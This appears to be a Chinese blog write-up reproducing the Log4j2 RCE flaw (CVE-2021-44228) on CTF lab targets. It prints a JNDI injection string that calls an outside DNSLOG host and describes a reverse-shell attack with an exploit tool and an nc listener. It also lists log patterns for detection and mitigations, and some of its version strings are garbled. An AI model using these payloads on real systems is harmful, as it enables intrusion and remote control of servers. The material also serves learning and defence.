1. 程式人生 > 其它 >Apache log4j2-RCE 漏洞復現(CVE-2021-44228)

Apache log4j2-RCE 漏洞復現(CVE-2021-44228)

Apache log4j2-RCE 漏洞復現

0x01 漏洞簡介

Apache Log4j2是一個基於Java的日誌記錄工具。由於Apache Log4j2某些功能存在遞迴解析功能,攻擊者可直接構造惡意請求,觸發遠端程式碼執行漏洞。漏洞利用無需特殊配置,經阿里雲安全團隊驗證,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。

漏洞適用版本為2.0 <= Apache log4j2 <= 2.14.1,只需檢測Java應用是否引入 log4j-api , log4j-core 兩個jar。若存在應用使用,極大可能會受到影響。

0x02 環境準備

驗證靶場:

1.CTFshow (https://ctf.show/challenges#Log4j復現-1730)

2.VULFOCUS(http://vulfocus.fofa.so/#/dashboard)

3.掌控安全封神臺(https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd)

0x03 漏洞驗證(DNSLOG篇)

我們通過JNDI注入請求DNSLOG的惡意語句,如果在DNSLOG端能檢視到訪問記錄,則證明遠端程式碼執行漏洞存在

我們CTFshow的靶場來做後續驗證

我們直接在登入框輸入惡意程式碼:

${jndi:ldap://hackerj.c57f9cb5.dns.1433.eu.org/exp}

然後我們成功在DNSLOG端檢視到訪問記錄,證實這裡漏洞存在

0x04 漏洞驗證(遠端程式碼執行彈計算器&記事本篇)

在這裡我們需要準備好一臺有公網IP的VPS,然後在伺服器端一個惡意程式碼類exploit.class(將惡意程式碼類通過javac編譯得到)一個LDAP伺服器log4j.jar(為執行方便,將LADPRefServer.java打包成jar包上傳到伺服器)
本地端需要準備好一個LDAP客戶端(含log4j2執行程式碼)

首先我們在伺服器端開啟LDAP服務埠監聽,我這裡設定的是7912埠

開啟LDAP服務

然後我們只需要在本地執行LDAP客戶端(含log4j2錯誤呼叫的程式碼)

由於我們在惡意程式碼裡執行的測試命令是notepad和calc

不出意外的彈出了記事本和計算器

0x05 漏洞深度利用(反彈shell)

在這裡我們需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar來生成payload

工具地址:
https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

然後使用如下網址來加密反彈shell命令

加密網址:
https://www.jackson-t.ca/runtime-exec-payloads.html
反彈shell方法:
https://www.freebuf.com/articles/system/178150.html

我這裡繫結的是伺服器的9999埠(別忘了在伺服器安全配置和寶塔安全配置開啟埠)

然後我們就獲得了payload

之後我們在伺服器開啟對於9999埠的監聽

nc -lvnp 9999

然後我們在靶場框輸入我們的惡意payload

點選提交之後我們發現反彈shell成功

0x06 影響範圍及排查方法

影響範圍:

使用了log4j的元件並且版本在3.x <= 2.14.1

排查方法:

1.pom版本檢查
2.可以通過檢查日誌中是否存在"jndi:ldap://"、"jndi:rmi"等字元來發現可能的攻擊行為
3.檢查日誌中是否存在相關的堆疊報錯,堆疊裡是否有JndiLookup、LdapURLContext、getObjectFactoryFromReference等與jndi呼叫相關的堆疊資訊
4.各種安全產品

自查工具:

https://sca.seczone.cn/allScanner.zip
https://static.threatbook.cn/tools/log4j-local-check.sh

需要注意的是並不是所有的使用了log4j2的專案|客戶端都會受到影響:

0x07 修復建議

官方方案:
1、將Log4j框架升級到2.15.0版本:
org/apache/loging/logj/logj-core/5.0
不要用2.15.0-rc1和2.15.0-rc2

2、臨時方案
1、升級JDK
2、修改log4j配置
①設定引數:
log4j2.formatMsgNoLookups=True
②修改jvm引數:
-Dlog4j2.formatMsgNoLookups=true
③系統環境變數:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS設定為true
④禁止log4j2所在的伺服器外連
3、使用安全產品防護:WAF、RASP

0x08 涉及資源

https://www.icode9.com/content-4-1255614.html
https://github.com/welk1n/JNDI-Injection-Exploit
https://ylcao.top/2021/12/apache-log4j2-rce%E5%A4%8D%E7%8E%B0/
https://www.jackson-t.ca/runtime-exec-payloads.html
https://chowdera.com/2021/12/202112102325553772.html
https://github.com/bkfish/Apache-Log4j-Learning
https://www.freebuf.com/articles/system/178150.html
https://github.com/fengxuangit/log4j_vuln
http://vulfocus.fofa.so/#/dashboard